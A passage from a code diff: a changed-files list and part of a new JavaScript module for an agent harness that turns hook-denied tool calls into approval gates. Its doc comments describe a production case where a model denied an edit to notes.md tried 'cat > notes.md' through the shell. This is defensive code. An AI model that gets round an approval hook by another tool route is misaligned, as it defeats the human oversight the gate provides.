  426. package/src/harness/__tests__/transcript-writers.test.ts +191 -0
  427. package/src/harness/__tests__/turn-attachments-vision.test.ts +5 -2
  428. package/src/harness/__tests__/turn-context.test.ts +5 -5
  429. package/src/harness/approval-decisions.ts +1 -1
  430. package/src/harness/capabilities.ts +21 -11
  431. package/src/harness/capture.ts +4 -4
  432. package/src/harness/persist-chokepoint.ts +3 -3
  433. package/src/harness/registry.ts +2 -2
  434. package/src/harness/run-turn.ts +33 -9
  435. package/src/harness/stop-controller.ts +1 -1
  436. package/src/harness/terminal-table.ts +7 -7
  437. package/src/harness/transcript/__tests__/builder.test.ts +975 -0
  438. package/src/harness/transcript/__tests__/state.test.ts +143 -0
  439. package/src/harness/transcript/builder.ts +755 -0
  440. package/src/harness/transcript/events.ts +262 -0
  441. package/src/harness/transcript/state.ts +167 -0
  442. package/src/harness/turn-context.ts +61 -46
  443. package/src/harness/types.ts +64 -22
  444. package/src/harness/usage-accumulator.ts +2 -2
  445. package/src/harness-adapters.ts +5 -4
  446. package/src/middleware/__tests__/cost-advisory.test.ts +2 -2
  447. package/src/middleware/approval-gate.ts +7 -74
  448. package/src/middleware/cost-advisory.ts +3 -3
  449. package/src/middleware/index.ts +1 -1
  450. package/src/runner-manager.ts +1 -1
  451. package/src/shared/__tests__/approval-policy.test.ts +45 -0
  452. package/src/shared/__tests__/args-preview.test.ts +40 -20
  453. package/src/shared/__tests__/attachment-naming.test.ts +1 -1
  454. package/src/shared/__tests__/attachment-resolver.test.ts +5 -5
  455. package/src/shared/__tests__/attachment-zip.test.ts +1 -1
  456. package/src/shared/__tests__/blueprint-resolver.test.ts +1 -1
  457. package/src/shared/__tests__/cost-guard.test.ts +1 -1
  458. package/src/shared/__tests__/exact-apply.test.ts +2 -1
  459. package/src/shared/__tests__/persist-decision.test.ts +19 -33
  460. package/src/shared/__tests__/prompt-sections.test.ts +1 -1
  461. package/src/shared/__tests__/stamp-flowed-rows.test.ts +1 -1
  462. package/src/shared/__tests__/status-offload.test.ts +1 -1
  463. package/src/shared/__tests__/streaming-scheduler.test.ts +8 -9
  464. package/src/shared/__tests__/todos.test.ts +1 -1
  465. package/src/shared/__tests__/tool-row.test.ts +1 -1
  466. package/src/shared/approval-policy.ts +95 -0
  467. package/src/shared/args-preview.ts +51 -42
  468. package/src/shared/attachment-resolver.ts +4 -4
  469. package/src/shared/attachment-vision.ts +2 -1
  470. package/src/shared/attachment-zip.ts +2 -2
  471. package/src/shared/cost-guard.ts +2 -2
  472. package/src/shared/exact-apply.ts +1 -1
  473. package/src/shared/execution-context.ts +2 -2
  474. package/src/shared/extract-structured-output.ts +2 -2
  475. package/src/shared/filereview/__tests__/capture.test.ts +9 -5
  476. package/src/shared/filereview/__tests__/git-substrate.test.ts +4 -1
  477. package/src/shared/filereview/__tests__/proxy-reconcile.test.ts +3 -3
  478. package/src/shared/filereview/cas-touched.ts +2 -2
  479. package/src/shared/heartbeat.ts +1 -1
  480. package/src/shared/llm-backend.ts +0 -4
  481. package/src/shared/model-error.ts +1 -2
  482. package/src/shared/persist-decision.ts +19 -28
  483. package/src/shared/prompt-sections.ts +4 -4
  484. package/src/shared/skill-resolver.ts +3 -3
  485. package/src/shared/status-offload.ts +2 -2
  486. package/src/shared/streaming-scheduler.ts +8 -13
  487. package/src/shared/subagent-rows.ts +2 -2
  488. package/src/shared/todos.ts +3 -3
  489. package/src/shared/tool-row.ts +38 -2
  490. package/src/shared/worker-shutdown.ts +1 -1
  491. package/src/shared/workspace/__tests__/git-source.test.ts +3 -3
  492. package/src/shared/workspace/__tests__/provisioner.test.ts +5 -5
  493. package/src/shared/workspace/__tests__/session-provision.test.ts +2 -2
  494. package/src/shared/workspace/__tests__/writeback-coordinator.integration.test.ts +8 -9
  495. package/src/shared/workspace/__tests__/writeback-coordinator.test.ts +25 -25
  496. package/src/shared/workspace/provisioner.ts +1 -1
  497. package/src/shared/workspace/session-provision.ts +1 -1
  498. package/src/shared/workspace/sources/empty.ts +2 -2
  499. package/src/shared/workspace/sources/git.ts +3 -4
  500. package/src/shared/workspace/sources/local-path.ts +5 -6
  501. package/src/shared/workspace/stigmer-link.ts +1 -1
  502. package/src/shared/workspace/types.ts +2 -5
  503. package/src/shared/workspace/writeback-coordinator.ts +23 -12
  504. package/dist/activities/execute-cursor/delta-enricher.d.ts +0 -87
  505. package/dist/activities/execute-cursor/delta-enricher.js +0 -265
  506. package/dist/activities/execute-cursor/delta-enricher.js.map +0 -1
  507. package/dist/activities/execute-cursor/message-translator.js +0 -2040
  508. package/dist/activities/execute-cursor/message-translator.js.map +0 -1
  509. package/dist/activities/execute-cursor/todo-tracker.d.ts +0 -40
  510. package/dist/activities/execute-cursor/todo-tracker.js +0 -80
  511. package/dist/activities/execute-cursor/todo-tracker.js.map +0 -1
  512. package/dist/activities/execute-deep-agent/execution-state.d.ts +0 -54
  513. package/dist/activities/execute-deep-agent/execution-state.js +0 -68
  514. package/dist/activities/execute-deep-agent/execution-state.js.map +0 -1
  515. package/dist/activities/execute-deep-agent/status-builder-shared.d.ts +0 -65
  516. package/dist/activities/execute-deep-agent/status-builder-shared.js +0 -90
  517. package/dist/activities/execute-deep-agent/status-builder-shared.js.map +0 -1
  518. package/dist/activities/execute-deep-agent/subagent-tracker.d.ts +0 -113
  519. package/dist/activities/execute-deep-agent/subagent-tracker.js +0 -400
  520. package/dist/activities/execute-deep-agent/subagent-tracker.js.map +0 -1
  521. package/dist/activities/execute-deep-agent/v3-events.d.ts +0 -102
  522. package/dist/activities/execute-deep-agent/v3-events.js +0 -35
  523. package/dist/activities/execute-deep-agent/v3-events.js.map +0 -1
  524. package/dist/activities/execute-deep-agent/v3-protocol-normalizer.d.ts +0 -15
  525. package/dist/activities/execute-deep-agent/v3-protocol-normalizer.js +0 -235
  526. package/dist/activities/execute-deep-agent/v3-protocol-normalizer.js.map +0 -1
  527. package/dist/activities/execute-deep-agent/v3-status-builder.d.ts +0 -111
  528. package/dist/activities/execute-deep-agent/v3-status-builder.js +0 -457
  529. package/dist/activities/execute-deep-agent/v3-status-builder.js.map +0 -1
  530. package/dist/shared/execution-status-writer.d.ts +0 -31
  531. package/dist/shared/execution-status-writer.js +0 -43
  532. package/dist/shared/execution-status-writer.js.map +0 -1
  533. package/src/activities/execute-cursor/__tests__/delta-enricher.test.ts +0 -310
  534. package/src/activities/execute-cursor/__tests__/message-translator.test.ts +0 -1033
  535. package/src/activities/execute-cursor/__tests__/todo-tracker.test.ts +0 -498
  536. package/src/activities/execute-cursor/delta-enricher.ts +0 -307
  537. package/src/activities/execute-cursor/message-translator.ts +0 -2319
  538. package/src/activities/execute-cursor/todo-tracker.ts +0 -91
  539. package/src/activities/execute-deep-agent/__tests__/execution-state-extended.test.ts +0 -148
  540. package/src/activities/execute-deep-agent/__tests__/execution-state.test.ts +0 -154
  541. package/src/activities/execute-deep-agent/__tests__/status-builder-shared.test.ts +0 -47
  542. package/src/activities/execute-deep-agent/__tests__/v3-protocol-normalizer.test.ts +0 -324
  543. package/src/activities/execute-deep-agent/execution-state.ts +0 -78
  544. package/src/activities/execute-deep-agent/status-builder-shared.ts +0 -142
  545. package/src/activities/execute-deep-agent/subagent-tracker.ts +0 -479
  546. package/src/activities/execute-deep-agent/v3-events.ts +0 -153
  547. package/src/activities/execute-deep-agent/v3-protocol-normalizer.ts +0 -264
  548. package/src/activities/execute-deep-agent/v3-status-builder.ts +0 -565
  549. package/src/shared/execution-status-writer.ts +0 -56
@@ -0,0 +1,1018 @@
1
+ /**
2
+ * The Cursor harness's boundary rows — the post-stream settlements that turn
3
+ * the deny-and-retry primitive's evidence into transcript rows the runtime's
4
+ * review surfaces read: the denial overlay (a hook-denied call becomes the
5
+ * turn's one WAITING_APPROVAL gate), the same-identity twin collapse, the
6
+ * one-gate-per-turn collapse of non-anchor denials, the provisional-narration
7
+ * redaction, the #205 foreign-hook-block detector, the #965 unresolved-row
8
+ * settle, and the unattended-mode SKIPPED stamp.
9
+ *
10
+ * Moved verbatim from the boundary half of `message-translator.ts` in #1097,
11
+ * so that module's folding half — the Cursor accumulator, the
12
+ * second copy of the transcript folding rule — could be deleted whole at the
13
+ * swap and replaced by `translator.ts` over the shared
14
+ * `TranscriptBuilder`. Nothing here folds engine events: every function
15
+ * AMENDS rows the stream already created, by identity (the token the hook and
16
+ * the runner share); the one row this module ever needs CREATED — the gate for
17
+ * a denial no streamed call matched — and the one it REOPENS — the streamed
18
+ * call the hook denied — go through the shared `TranscriptBuilder` as
19
+ * `approval_proposed`, the one post-stream fact both harnesses produce
20
+ * (#1097). `isTerminalToolStatus` below is the twin
21
+ * collapse's own settled set (`shared/tool-row.ts` explains why INTERRUPTED is
22
+ * not in it).
23
+ *
24
+ * The identity this module correlates on lives in `approval-state.ts`
25
+ * (`toolCallIdentityToken` beside `toolIdentity`/`primaryToken`, the same
26
+ * space the hook records denials in); the row predicates it shares with the
27
+ * runtime (`isAdjudicatedRow`, `isDeclinedRow`) in `shared/tool-row.ts`.
28
+ * The pipeline that calls these, and its ordering rationale, is
29
+ * `turn-boundary.ts`.
30
+ */
31
+ import { ApprovalPolicySource, MessageType, ToolCallStatus } from "@stigmer/protos/ai/stigmer/agentic/agentexecution/v1/enum_pb";
32
+ import { lookupMcpToolPolicy, resolveApprovalMessage, getBuiltInApprovalMessage } from "./approval-policy.js";
33
+ import { POLICY_ENGINE_VERSION, resolveApprovalProvenance, unattendedSkipMessage, } from "../../shared/approval-policy.js";
34
+ import { approvalDenials, decodeIdentityToken, denialKindOf, grantToken, toolCallArgs, toolCallIdentityToken, toolIdentity, } from "./approval-state.js";
35
+ import { utcTimestamp } from "../../shared/status.js";
36
+ import { hideToolCallRow, isAdjudicatedRow, isToolCallRowHidden } from "../../shared/tool-row.js";
37
+ import { toolApprovalCategory } from "../../shared/tool-kind.js";
38
+ import { resolveWorkspacePath } from "../../shared/file-change.js";
39
+ import { contentDigest, extractFilePath } from "../../shared/file-tools.js";
40
+ import { isSecretLikePath } from "../../shared/filereview/secret-paths.js";
41
+ /** Shared empty set so a synthesized gate's provenance read allocates nothing. */
42
+ const NO_LEASED_CATEGORIES = new Set();
43
+ /**
44
+ * Terminal for the twin collapse's "prefer a settled representative" pick —
45
+ * the same set the merge guard used (`isSettled` in the shared builder):
46
+ * INTERRUPTED is deliberately NOT here; see `shared/tool-row.ts`.
47
+ */
48
+ function isTerminalToolStatus(status) {
49
+ return (status === ToolCallStatus.TOOL_CALL_COMPLETED ||
50
+ status === ToolCallStatus.TOOL_CALL_FAILED ||
51
+ status === ToolCallStatus.TOOL_CALL_SKIPPED);
52
+ }
53
+ /**
54
+ * Reconcile the denial ledger written by the preToolUse hook against the tool
55
+ * calls accumulated from the stream, marking each denied call as
56
+ * WAITING_APPROVAL.
57
+ *
58
+ * This is the cursor analog of the native harness synthesizing WAITING_APPROVAL
59
+ * tool calls from LangGraph interrupts (execute-deep-agent/turn-settle.ts). The hook
60
+ * ledger — not the SDK-reported tool status — is the authoritative record of
61
+ * what was gated, because the hook is the only component that makes the per-call
62
+ * allow/deny decision. The backend then projects pending_approvals from these
63
+ * WAITING_APPROVAL tool calls (PendingApprovalComputer), so the approval surface
64
+ * is driven entirely by tool-call status, exactly like the native harness.
65
+ *
66
+ * Correlation is by tool identity token (the same space as approvedGrantTokens),
67
+ * not by call id: a denied tool's identity is stable, and a single resource
68
+ * approved once should produce one approval regardless of how many times the
69
+ * agent re-attempted it within the turn.
70
+ *
71
+ * ONE GATE PER TURN (deny-only clean pause). The Cursor harness can only gate by
72
+ * the hook returning `deny`, which Cursor surfaces to the model as a tool
73
+ * *failure* — so a blocked model frequently improvises a workaround (the
74
+ * canonical case: a denied `edit notes.md` followed ~2.5s later by a
75
+ * `shell: cat > notes.md`, in the SAME assistant message with no narration
76
+ * between them — observed in production, exec aex_01kw4p0cqgk0j8vvxbs5t8gv59).
77
+ * The first-denial stop (index.ts) tries to cancel the turn at that first
78
+ * denial, but `run.cancel()` is async and races the SDK's auto-execution, so the
79
+ * workaround can still stream and land a SECOND denial in the ledger. Two
80
+ * denials of distinct identity would otherwise surface two approval cards for
81
+ * one logical intent. Their identities differ (`write\nnotes.md` vs
82
+ * `shell\ncat > notes.md`), so no same-identity twin collapse can join them, and
83
+ * they share one message, so no positional rule can separate them; the only
84
+ * honest signal that the second is a reaction is CAUSALITY — it was emitted
85
+ * after the model saw the first denial. We therefore ANCHOR on the FIRST ledger
86
+ * denial of the turn (the ledger is reset per turn and appended in denial order,
87
+ * so ledger[0] is the original intent) and surface ONLY that identity. Every
88
+ * other denied identity in the turn — a post-denial workaround, or a genuine
89
+ * co-pending sibling the deny-only harness defers — is blanked in place to a
90
+ * hidden SKIPPED row ({@link collapseNonAnchorDenials}). A deferred sibling is
91
+ * not lost: on resume it re-attempts and gates again next turn (sequential
92
+ * gating). The native (LangGraph) harness pauses BEFORE the model can react, so
93
+ * it keeps full in-turn co-pending and is untouched by this rule. This is the
94
+ * near-term, invariant-preserving stepping stone to the Tool Execution Gateway,
95
+ * where an un-leased workaround is refused by construction.
96
+ *
97
+ * Correlation runs in two passes. The first matches the streamed token to a
98
+ * ledger token byte-for-byte (the common case). The hook, however, records its
99
+ * token from the RAW path Cursor hands it — a bash script cannot normalize a
100
+ * path against the workspace root — so an ABSOLUTE hook `file_path` against a
101
+ * RELATIVE stream `path` (or vice versa) yields two different raw tokens for one
102
+ * edit and the exact pass misses. The runner CAN normalize, so a second pass
103
+ * matches any still-unmatched FILE denial to a streamed call by (category,
104
+ * workspace-normalized path) and overlays the REAL streamed call, never appending
105
+ * a content-less placeholder beside it. This is the difference between one honest
106
+ * gate and two cards, one of which reads "No preview available". It reuses the
107
+ * single tool-identity definition + `resolveWorkspacePath`; it introduces no
108
+ * parallel identity.
109
+ *
110
+ * Only after BOTH passes miss is a placeholder WAITING_APPROVAL tool call
111
+ * synthesized (rare — Cursor normally emits a tool_call event for every
112
+ * attempt), so the gate still surfaces and never renders as a silent success.
113
+ * Critically, every match overlays a call IN PLACE (the committed id is
114
+ * preserved): the backend's append-only-at-identity transcript guard rejects a
115
+ * finalize that drops a previously-committed tool-call id, so reconciliation may
116
+ * only reconcile entries in place, never remove them.
117
+ *
118
+ * Every matched/synthesized call is enriched with the hook-captured authoritative
119
+ * input (`ledger.input`) via {@link applyGateInput}: the full proposed args, a
120
+ * compact `args_preview`, and the content digest — so the approval card renders
121
+ * the proposed write/edit content from `args` and a resume re-gates a diverging
122
+ * sibling edit. A missing capture (the hook's grep fallback) degrades to the
123
+ * prior behavior.
124
+ *
125
+ * Every gate this function opens goes through the transcript builder as an
126
+ * `approval_proposed` (since #1097): a known row REOPENS
127
+ * (WAITING, the outcome the stream wrote cleared, the hook's captured input as
128
+ * its args and preview), an unknown one gets a WAITING row on the message
129
+ * whose text proposed it. The builder is the one writer of a WAITING row on
130
+ * both harnesses; this module supplies the fact and reads the row back.
131
+ *
132
+ * Two handles, one object: `messages` is the root transcript's own array
133
+ * (`status.messages`, the rows this function reads and matches against) and
134
+ * `transcript` is the builder that creates rows INTO that same array — it
135
+ * pushes and never replaces, so a row proposed through the builder is found
136
+ * in `messages` on the next line. Rows to read, a builder to create through:
137
+ * the sink's ownership rule, stated in the signature.
138
+ *
139
+ * Returns the tool calls now marked WAITING_APPROVAL — the single anchor gate
140
+ * for the turn (overlaid or, rarely, synthesized).
141
+ */
142
+ export async function reconcileDeniedToolCalls(messages, transcript, ledger, mergedPolicies, workspaceBackend) {
143
+ // Defense-in-depth: only APPROVAL-kind denials may become approval gates.
144
+ // The turn boundary already passes the filtered subset; re-filtering here
145
+ // makes it structurally impossible for a secret/capture-error/fail-closed
146
+ // entry to manufacture a pause the user cannot meaningfully grant, no matter
147
+ // what a future caller passes (an absent kind is the pre-kind format and
148
+ // counts as approval).
149
+ ledger = approvalDenials(ledger);
150
+ if (ledger.length === 0)
151
+ return [];
152
+ // The workspace the gated files live in; its rootDir normalizes paths for the
153
+ // abs-vs-rel correlation fallback (normalizedFileSalient).
154
+ const workspaceRoot = workspaceBackend?.rootDir;
155
+ // One gate per turn: anchor on the FIRST ledger denial. The ledger is reset
156
+ // per turn and appended in denial order, so ledger[0] is the model's original
157
+ // intent; any later denial of a DIFFERENT identity is a post-denial workaround
158
+ // or a deferred co-pending sibling (see the doc comment). We surface ONLY the
159
+ // anchor identity below and blank every other denied identity to a hidden
160
+ // SKIPPED row. `deniedTokens` still carries every denied identity — it is the
161
+ // scope for that collapse, never an additional gate.
162
+ const anchorToken = ledger[0].token;
163
+ const deniedTokens = new Set(ledger.map((e) => e.token));
164
+ // The authoritative pre-execution args the hook captured for the anchor. A
165
+ // resource re-attempted within the turn shares a token; last write wins (the
166
+ // attempts carry the same proposed change).
167
+ let anchorInput;
168
+ for (const e of ledger) {
169
+ if (e.token === anchorToken && e.input)
170
+ anchorInput = e.input;
171
+ }
172
+ const matchedCalls = new Set();
173
+ const result = [];
174
+ let anchorMatched = false;
175
+ // 1. Exact overlay: a streamed call whose token equals the anchor denial token
176
+ // byte-for-byte (the path form agreed on both sides). The anchor resource
177
+ // re-attempted within the turn shares one token and collapses to a single
178
+ // approval (the first match is the keeper; same-identity twins are blanked
179
+ // by collapseRedundantToolCallTwins below). A row an earlier invocation's
180
+ // gate already settled is never the home of THIS turn's denial
181
+ // (isAdjudicatedRow) — the search moves past it to this turn's attempt.
182
+ for (const msg of messages) {
183
+ if (anchorMatched)
184
+ break;
185
+ for (const tc of msg.toolCalls) {
186
+ if (isAdjudicatedRow(tc))
187
+ continue;
188
+ if (toolCallIdentityToken(tc) !== anchorToken)
189
+ continue;
190
+ proposeOnStreamedRow(transcript, tc, anchorInput, mergedPolicies);
191
+ matchedCalls.add(tc);
192
+ result.push(tc);
193
+ anchorMatched = true;
194
+ break;
195
+ }
196
+ }
197
+ // 2. Normalized-path fallback (the abs-vs-rel drift fix): if the anchor is a
198
+ // FILE denial the exact pass missed, match a streamed call by (category,
199
+ // workspace-normalized path) and overlay the REAL call — never a content-
200
+ // less placeholder beside it. Requires the workspace root to normalize;
201
+ // shell/MCP denials (no path) and resumes without a root fall through to
202
+ // synthesis.
203
+ if (!anchorMatched && workspaceRoot) {
204
+ const decoded = decodeIdentityToken(anchorToken);
205
+ const wanted = decoded
206
+ ? normalizedFileSalient(decoded.key, decoded.salient, workspaceRoot)
207
+ : undefined;
208
+ if (wanted) {
209
+ const tc = findUnmatchedStreamCallByNormalizedSalient(messages, matchedCalls, wanted, workspaceRoot);
210
+ if (tc) {
211
+ proposeOnStreamedRow(transcript, tc, anchorInput, mergedPolicies);
212
+ matchedCalls.add(tc);
213
+ result.push(tc);
214
+ anchorMatched = true;
215
+ }
216
+ }
217
+ }
218
+ // 2a. One gate per turn: blank every denied identity OTHER than the anchor to a
219
+ // hidden SKIPPED row (the workaround shell, or a deferred co-pending
220
+ // sibling). Runs BEFORE the WAITING_FOR_APPROVAL persist so a reaction is
221
+ // never persisted as WAITING_APPROVAL — the backend authors an approval
222
+ // REQUESTED event only from a WAITING_APPROVAL tool call, so collapsing
223
+ // here keeps the append-only approval-event stream free of an orphan
224
+ // REQUESTED that would need retraction.
225
+ const nonAnchorCollapsed = collapseNonAnchorDenials(messages, deniedTokens, anchorToken);
226
+ if (nonAnchorCollapsed > 0) {
227
+ console.log(`ExecuteCursor reconcile collapsed ${nonAnchorCollapsed} non-anchor denied ` +
228
+ `tool call(s) to hidden SKIPPED (one gate per turn; anchor is the first ` +
229
+ `denial of the turn)`);
230
+ }
231
+ // 2b. Collapse same-turn duplicate edits. When the model emitted the SAME
232
+ // resource twice in one turn (two call ids, one identity token), only the
233
+ // FIRST same-token stream call was overlaid into the gate above; any OTHER
234
+ // same-token call stays a committed row (RUNNING zombie, or a
235
+ // denied-reported-as-success COMPLETED) that would render as a second,
236
+ // content-less card beside the gate (the reported "No preview available"
237
+ // duplicate). The overlaid gate is now WAITING_APPROVAL, so the shared
238
+ // routine recognizes it as the keeper and blanks the twins IN PLACE to
239
+ // hidden SKIPPED rows — we cannot drop them, since the backend's
240
+ // append-only-at-identity guard rejects removing a previously-committed
241
+ // tool-call id, but the id is preserved so the finalize stays append-only.
242
+ const collapsed = collapseRedundantToolCallTwins(messages);
243
+ if (collapsed > 0) {
244
+ console.log(`ExecuteCursor reconcile collapsed ${collapsed} redundant tool-call twin(s) ` +
245
+ `superseded by the approval gate (kept in place as hidden SKIPPED rows)`);
246
+ }
247
+ // 2c. Finalize interrupted rows. The first-denial stop cancelled the run, so
248
+ // a tool call still PENDING/RUNNING here can never complete — no event
249
+ // will ever deliver its result, and left alone it persists as a spinner
250
+ // forever. The canonical victim is a post-denial workaround whose own
251
+ // hook denial raced (or never reached) the final ledger read, so the
252
+ // token-scoped collapse in 2a could not see it (production case
253
+ // aex_01kwj07f7g23c3wp9sn8496z5g: a python-write shell reaction persisted
254
+ // as RUNNING with requiresApproval=true). Whatever the cause, a
255
+ // non-terminal row on a turn that is pausing is an interrupted attempt
256
+ // with no output: collapse it to the same hidden SKIPPED shape as every
257
+ // other superseded row (in place — the append-only-at-identity guard
258
+ // forbids dropping a committed id). Runs AFTER the anchor overlay, so the
259
+ // gate itself (now WAITING_APPROVAL) is never touched.
260
+ const interrupted = finalizeInterruptedToolCalls(messages);
261
+ if (interrupted > 0) {
262
+ console.log(`ExecuteCursor reconcile collapsed ${interrupted} interrupted non-terminal ` +
263
+ `tool call(s) that can never complete (run cancelled at first denial)`);
264
+ }
265
+ // 3. Synthesize the anchor gate if it matched NO streamed call in either pass
266
+ // (rare — Cursor emits a tool_call event for every attempt), so the gate
267
+ // still surfaces rather than rendering as a silent success. After the
268
+ // normalized fallback this should be ~0; the caller logs a divergence when
269
+ // it is not (a synthesized id is prefixed `approval:`). Only the anchor is
270
+ // ever synthesized: non-anchor denials are deliberately collapsed, never
271
+ // surfaced (one gate per turn).
272
+ if (!anchorMatched) {
273
+ const anchorEntry = ledger.find((e) => e.token === anchorToken) ?? ledger[0];
274
+ const decoded = decodeIdentityToken(anchorToken);
275
+ // Display the hook's raw tool name; carry the decoded salient so the grant
276
+ // rebuilt from this tool call on reinvocation keys on the same resource.
277
+ const displayName = anchorEntry.toolName || decoded?.key || "tool";
278
+ const salient = decoded?.salient ?? "";
279
+ const tc = proposeSynthesizedGate(messages, transcript, {
280
+ displayName,
281
+ salient,
282
+ digest: decoded?.digest ?? "",
283
+ token: anchorToken,
284
+ input: anchorInput ?? anchorEntry.input,
285
+ mergedPolicies,
286
+ });
287
+ result.push(tc);
288
+ }
289
+ return result;
290
+ }
291
+ /**
292
+ * Propose the gate ON a streamed tool call the hook denied: the row REOPENS
293
+ * WAITING through the builder and keeps its committed id, so the backend's
294
+ * append-only-at-identity transcript guard accepts the finalize (an in-place
295
+ * status change is a reconcile, not a drop). The single routine for both the
296
+ * exact and the normalized correlation passes, so the gate can never diverge
297
+ * between them. The message is the one the stream already stamped when the
298
+ * policy gated the call, else resolved now; the hook-captured `input` (when
299
+ * present) is the authoritative, complete proposed args — the stream may have
300
+ * carried only partial args before the first-denial cancel — and supplies the
301
+ * args, the preview and the content digest (see {@link proposalArgs}).
302
+ */
303
+ function proposeOnStreamedRow(transcript, tc, input, mergedPolicies) {
304
+ const args = proposalArgs(input);
305
+ transcript.apply({
306
+ kind: "approval_proposed",
307
+ callId: tc.id,
308
+ name: tc.name,
309
+ mcpServerSlug: tc.mcpServerSlug,
310
+ message: tc.approvalMessage || resolveDeniedApprovalMessage(tc.name, tc.mcpServerSlug, toolCallArgs(tc), mergedPolicies),
311
+ ...(args !== undefined ? { args, contentDigest: contentDigest(args) } : {}),
312
+ });
313
+ }
314
+ /**
315
+ * Propose the gate for a denial that matched NO streamed call: a WAITING row
316
+ * with a synthesized id (`approval:<token>`) on the message whose text proposed
317
+ * it. It displays the hook's raw tool name and carries the decoded salient as
318
+ * its args (so the grant rebuilt from it on reinvocation keys on the same
319
+ * resource) and the anchor's content digest (so its identity equals the
320
+ * anchor's content token); the hook-captured input, when present, upgrades
321
+ * both to the full proposed change. A synthesized call is a ledger denial — it
322
+ * was gated, so it has a governing layer, and a denied call never occurs under
323
+ * a global bypass or a matching lease, so empty leases + no bypass attribute
324
+ * it faithfully (a built-in resolves to builtin_category; an MCP placeholder
325
+ * lacks a reconstructed slug and stays UNSPECIFIED rather than be mislabeled).
326
+ * The row is read back from `messages`, the array the builder appended into.
327
+ */
328
+ function proposeSynthesizedGate(messages, transcript, gate) {
329
+ const { displayName, salient, digest, token, input, mergedPolicies } = gate;
330
+ const callId = `approval:${token}`;
331
+ const captured = proposalArgs(input);
332
+ const args = captured ?? (salient ? { path: salient } : undefined);
333
+ const provenance = mergedPolicies
334
+ ? resolveApprovalProvenance(displayName, "", mergedPolicies, NO_LEASED_CATEGORIES, false)
335
+ : undefined;
336
+ transcript.apply({
337
+ kind: "approval_proposed",
338
+ callId,
339
+ name: displayName,
340
+ mcpServerSlug: "",
341
+ message: salient
342
+ ? `Tool requires approval: ${displayName} (${salient})`
343
+ : resolveDeniedApprovalMessage(displayName, "", {}, mergedPolicies),
344
+ ...(args !== undefined ? { args } : {}),
345
+ ...(provenance !== undefined ? { provenance } : {}),
346
+ contentDigest: captured ? contentDigest(captured) : digest,
347
+ });
348
+ const row = findToolCallById(messages, callId);
349
+ if (!row)
350
+ throw new Error(`reconcileDeniedToolCalls: the builder did not create the proposed row ${callId}`);
351
+ return row;
352
+ }
353
+ /** The last row with this id in the root transcript (the builder appends; a synthesized gate is always the newest). */
354
+ function findToolCallById(messages, id) {
355
+ for (let i = messages.length - 1; i >= 0; i--) {
356
+ const found = messages[i].toolCalls.find((tc) => tc.id === id);
357
+ if (found)
358
+ return found;
359
+ }
360
+ return undefined;
361
+ }
362
+ /**
363
+ * Collapse every tool call still in a non-terminal state (PENDING / RUNNING)
364
+ * to the hidden SKIPPED row shape, returning how many were collapsed.
365
+ *
366
+ * Called only on the pause-for-approval path, after the anchor gate has been
367
+ * overlaid to WAITING_APPROVAL: the run was cancelled, so nothing will ever
368
+ * complete these calls, and a permanently-RUNNING row would render as an
369
+ * eternal spinner beside the approval card. This is the causality sibling of
370
+ * {@link collapseNonAnchorDenials}: that collapse is token-scoped (it needs the
371
+ * denial in the ledger), while this one catches the attempt whose hook denial
372
+ * raced the final ledger read or whose execution the cancel interrupted
373
+ * outright — either way an attempt with no output that the turn's end orphaned.
374
+ */
375
+ function finalizeInterruptedToolCalls(messages) {
376
+ let finalized = 0;
377
+ for (const msg of messages) {
378
+ for (const tc of msg.toolCalls) {
379
+ if (tc.status !== ToolCallStatus.TOOL_CALL_PENDING &&
380
+ tc.status !== ToolCallStatus.TOOL_CALL_RUNNING) {
381
+ continue;
382
+ }
383
+ hideToolCallRow(tc);
384
+ finalized++;
385
+ }
386
+ }
387
+ return finalized;
388
+ }
389
+ /**
390
+ * Recognizes a tool call already blanked to a hidden collapsed row, so a second
391
+ * pass never re-collapses it (and never miscounts). Mirrors the SDK's
392
+ * `isCollapsedToolCall` shape without importing across the runner/SDK seam.
393
+ */
394
+ function isAlreadyCollapsed(tc) {
395
+ return (tc.status === ToolCallStatus.TOOL_CALL_SKIPPED &&
396
+ !tc.requiresApproval &&
397
+ !tc.result &&
398
+ !tc.error &&
399
+ !tc.argsPreview);
400
+ }
401
+ /**
402
+ * Whether a tool call carries a change/output of its own — the signal that it is
403
+ * authoritative for its resource rather than a redundant denial/cancel twin.
404
+ *
405
+ * The notion of "change" is category-aware on purpose:
406
+ * - A file mutation (`write`/`delete`) never carries an authoritative change on
407
+ * the tool-call ROW: under apply-then-review its review lives in the
408
+ * `FileChangeSet` ledger (capture mode), and under the no-storage deny-gate it
409
+ * is the WAITING_APPROVAL gate itself (kept explicitly by the caller). So a
410
+ * file row is authoritative only as that gate, never on its own — hence
411
+ * `false` here. (Before Phase 5 Slice 4 this read `file_changes.length > 0`;
412
+ * that field is gone, and the row was never the review surface.)
413
+ * - Every other gated tool (shell, MCP) has no ledger; its "change" is its
414
+ * execution output, so a genuine run carries a non-empty `result` while a
415
+ * denied/cancelled attempt that never executed does not. This keeps two
416
+ * distinct shell runs (each with output) both visible while still collapsing a
417
+ * same-command denial twin.
418
+ */
419
+ function carriesOwnChange(tc) {
420
+ const category = toolApprovalCategory(tc.name);
421
+ if (category === "write" || category === "delete") {
422
+ return false;
423
+ }
424
+ return !!tc.result;
425
+ }
426
+ /**
427
+ * Collapse redundant same-identity tool-call twins to a single visible row.
428
+ *
429
+ * The model frequently emits the SAME gated action twice in one turn (two
430
+ * tool-call ids, one identity). When the first attempt is gated and the run is
431
+ * cancelled mid-flight, the extra attempt never receives a terminal event and
432
+ * persists as a stuck `RUNNING` row ("No preview available"); other variants are
433
+ * a denied-reported-as-success `COMPLETED` with an empty result, two no-change
434
+ * `COMPLETED` attempts where neither carries a change, or — on the denial path —
435
+ * a `FAILED` twin beside the overlaid gate. All render as a duplicate card beside
436
+ * the real action (or the approval gate). This is the recurring duplicate-card
437
+ * defect, most visible for file edits but shared by every gated tool family.
438
+ *
439
+ * The routine is harness-agnostic and a pure function of `messages`:
440
+ *
441
+ * 1. Scope to GATED identities — file mutations (`write`/`delete`) and shell key
442
+ * on their cross-taxonomy category; MCP tools are recognized by their server
443
+ * slug. A same-turn duplicate of a gated tool is a denial/cancel artifact, not
444
+ * meaningful repetition. The category is name-derived (via {@link toolIdentity}
445
+ * -> approvalCategory), so a twin cancelled before classification (empty
446
+ * `toolKind`) is still scoped via its name (`edit` -> `write`). Ungated
447
+ * read-only tools are left untouched.
448
+ * 2. Group those calls by `toolCallIdentityToken` — the SAME `toolIdentity` used
449
+ * for denial correlation and resume grants, so scope and grouping cannot drift.
450
